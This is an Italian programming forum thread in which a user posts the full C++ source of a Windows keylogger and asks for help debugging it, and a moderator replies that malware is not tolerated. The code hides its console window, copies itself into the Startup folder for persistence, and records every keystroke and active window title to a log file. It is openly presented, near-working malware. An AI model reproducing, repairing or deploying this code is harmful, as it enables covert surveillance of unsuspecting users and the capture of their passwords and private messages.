Visualizzazione dei risultati da 1 a 2 su 2
  1. #1
    Utente di HTML.it
    Registrato dal
    Oct 2010
    Messaggi
    10

    [C++] KeyLogger non funziona???

    Salve. Ho riscartabellato un vecchio keylogger che avevo di qualche tempo fa e funzionava. Ora gli ho apportato delle modifiche e non va più. Siccome mi sto impazzendo, che poi tanto lo so che è una cosa stupida (o un errore idiota o una dimenticanza), non è che potreste aiutarmi a capire qual è l'errore?? Grazie in anticipo!

    Questo è il codice:

    codice:
    /*
    
    KeyLogger v.Beta
    Author: RYZ
    Language: C++
    
    */
    
    #include <iostream>
    #include <windows.h>
    #include <cstring>
    #include <fstream>
    
    using namespace std;
    
    void logga(char stringa[500]);
    void logga(char carattere); // OVERLOAD
    void nasc_sposta(char *dir_destinazione);
    char *GetEsecAutoDir();
    
    ofstream log; //File di LOG
    char *destinazioneLog; // Destinazione file di log
    
    int main()
    {
       nasc_sposta(GetEsecAutoDir());
       int key;
        HWND finestra_corrente;
        char titolo_finestra[255], attuale[255];
          while(1)
            {
          Sleep(10); // Per non usare tutta la CPU
            finestra_corrente = GetForegroundWindow();
             GetWindowText(finestra_corrente, titolo_finestra, 254);
              if(strcmp(titolo_finestra, attuale)!= 0)
                 {
                    logga("\n");
                    logga(titolo_finestra);
                    logga("\n");
                 }
                     strcpy(attuale, titolo_finestra);
    
    // ========================= Titolo Finestra ================
    
    if(GetAsyncKeyState(key)== -32767){
    
       // Tasti F1,F1,F2 ecc
       if(key >= 112 and key <= 123){
          switch(key){
               case 112: logga("[F1]"); break;
               case 113: logga("[F2]"); break;
               case 114: logga("[F3]"); break;
               case 115: logga("[F4]"); break;
               case 116: logga("[F5]"); break;
               case 117: logga("[F6]"); break;
               case 118: logga("[F7]"); break;
               case 119: logga("[F8]"); break;
               case 120: logga("[F9]"); break;
               case 121: logga("[F10]"); break;
               case 122: logga("[F11]"); break;
               case 123: logga("[F12]"); break;
          }
       }   
       // Alfabeto
       if(key >= 65 && key <= 90){
     
                 if(GetAsyncKeyState(VK_CAPITAL)==1 || GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128   ){
                 // Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo
                 logga(key);
     
                 }else{
                 // Se no memorizziamola in minuscolo
                 key += 32;
                 logga(key);
                 }                       
       }   
       // TASTI numerici   
       if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){  
           // Se è premuto shift ... 
          switch(key){
          case 48 :      logga('='); break;
          case 49 :      logga('!'); break;
          case 50 :      logga('"'); break;
          case 51 :      logga('£'); break;
          case 52 :      logga('$'); break;
          case 53 :      logga('%'); break;
          case 54 :      logga('&'); break;
          case 55 :      logga('/'); break;
          case 56 :      logga('('); break;
          case 57 :      logga(')'); break;
          }                         
     
       }else{   
       // Se no stampa i numeri   
           if(key >= 48 && key <= 57)logga(key);   
        } 
     
       if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){
       // Se è premuto Shift ...
          switch(key){
     
          case 186 :       logga('é'); break;
          case 187 :       logga('*'); break;
          case 188 :       logga(';'); break;
          case 189 :       logga('_'); break;
          case 190 :       logga(':'); break;
          case 191 :       logga('§'); break;
          case 192 :       logga('ç'); break;
          case 219 :       logga('?'); break;
          case 220 :       logga('|'); break;
          case 221 :       logga('^'); break;
          case 222 :       logga('°'); break;
          case 226 :       logga('>'); break;
     
          }  
     
        }else if((GetAsyncKeyState(17)==-127 || GetAsyncKeyState(17)==-128  )&&(GetAsyncKeyState(18)==-127 || 
        GetAsyncKeyState(18)==-128 )&&( GetAsyncKeyState(162)==-127 ||  GetAsyncKeyState(162)==-128 )&&
        (GetAsyncKeyState(165)==-127 || GetAsyncKeyState(165)==-128) ){
        // Se tiene premuto ALT GR
          switch(key){
          case 101 :        logga('€'); break;
          case 192 :        logga('@'); break;
          case 222 :        logga('#'); break;
          case 187 :        logga(']'); break;
          case 186 :        logga('['); break;
          }                           
        }else{
        // Se no
          switch(key){  
          case 192 :        logga('ò'); break;
          case 191 :        logga('ù'); break;
          case 222 :        logga('à'); break;
          case 187 :        logga('+'); break;
          case 186 :        logga('è'); break;
          case 188 :        logga(','); break;
          case 190 :        logga('.'); break;
          case 189 :        logga('-'); break;
          case 219 :        logga('\''); break;
          case 221 :        logga('ì'); break;
          case 226 :        logga('<'); break;
          case 220 :        logga('\\'); break;
          }
          
       switch(key){
     
       case 8 :         logga("[BACK]"); break;
       case 9 :         logga("[TABLE]"); break;
       case 11:         logga("[HOME]"); break;
       case 13:         logga("[RETURN]"); break;
       case 27:         logga("[ESC]"); break;
       case 32:         logga("[SPACE]"); break;
       case 33:         logga("[PAG SU]"); break;
       case 34:         logga("[PAG GIU]"); break;
       case 35:         logga("[END]"); break;
       case 36:         logga("[HOME]"); break;
       case 37:         logga("[LEFT]"); break;
       case 38:         logga("[TOP]"); break;
       case 39:         logga("[RIGHT]"); break;
       case 40:         logga("[BOTTOM]"); break;
       case 44:         logga("[STAMP SCREEN]"); break;
       case 45:         logga("[INS]"); break;
       case 46:         logga("[CANC]"); break;
       case 91:         logga("[WINDOWS]"); break;
       case 92:         logga("[WINDOWS]"); break;
       case 96:         logga('0'); break;
       case 97:         logga('1'); break;
       case 98:         logga('2'); break;
       case 99:         logga('3'); break;
       case 100:        logga('4'); break;
       case 101:        logga('5'); break;
       case 102:        logga('6'); break;
       case 103:        logga('7'); break;
       case 104:        logga('8'); break;
       case 105:        logga('9'); break;
       case 106:        logga('*'); break;
       case 107:        logga('+'); break;
       case 109:        logga('-'); break;
       case 110:        logga('.'); break;
       case 111:        logga('/'); break;
       case 144:        logga("[BLOC NUM]"); break;
       case 145:        logga("[BLOC SCORR]"); break;
       case 163:        logga("[ESC]"); break;
       case 255:        logga("[SPACE]"); break;
       }
      }
     }  
    }
        return 0;
    }
    
    void nasc_sposta(char *dir_destinazione)
    {
        HWND invisibile;
    
          invisibile = FindWindow("ConsoleWindowClass", NULL); //Valore finestra keylogger
          ShowWindow(invisibile, SW_HIDE); //Nascondo finestra
          MoveFile("key.exe", dir_destinazione);   // Sposto in esecuzione automatica
    }
    
    char *GetEsecAutoDir()
    {
      char disco[255], utente[255], *user_path;
      DWORD *a;
       user_path = new char[255]; // Alloccazione dinamica
       a = new DWORD[255];          // Come sopra
        GetSystemDirectory(disco, 254);  // Prendo disco rigido in uso
          destinazioneLog = new char[255]; //destinazioneLog = disco; strcat(destinazioneLog, "\\key.log"); // Lo copio in variabile Globale
        GetUserName(utente, a);          // Prendo Nome Utente
         strncpy(user_path, disco, 3);   //
          strcat(user_path, "Documents and Settings\\");
          strcat(user_path, utente);// destinazioneLog = user_path; strcat(destinazioneLog, "\\logged.txt"); // cout << destinazioneLog; cin.get();
          strcat(user_path, "\\Menu Avvio\\Programmi\\Esecuzione automatica\\key.exe");
      return user_path;  // Ritorno il cpleto valore per copiare il file in esecuzione auto
    }
    
    void logga(char carattere) // Loggo caratteri
    {
        log.open("log.txt", ios::app);
        log << carattere;
        log.close();
    }
    
    void logga(char stringa[500]) // Loggo caratteri speciali sotto forma di stringhe
    {
        log.open("log.txt", ios::app);
        log << stringa;
        log.close();
    }

  2. #2
    Moderatore di Programmazione L'avatar di alka
    Registrato dal
    Oct 2001
    residenza
    Reggio Emilia
    Messaggi
    24,325

    Moderazione

    I key logger e altri software di tipo "malware" non sono tollerati nelle discussioni del forum.
    MARCO BREVEGLIERI
    Software and Web Developer, Teacher and Consultant

    Home | Blog | Delphi Podcast | Twitch | Altro...

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2024 vBulletin Solutions, Inc. All rights reserved.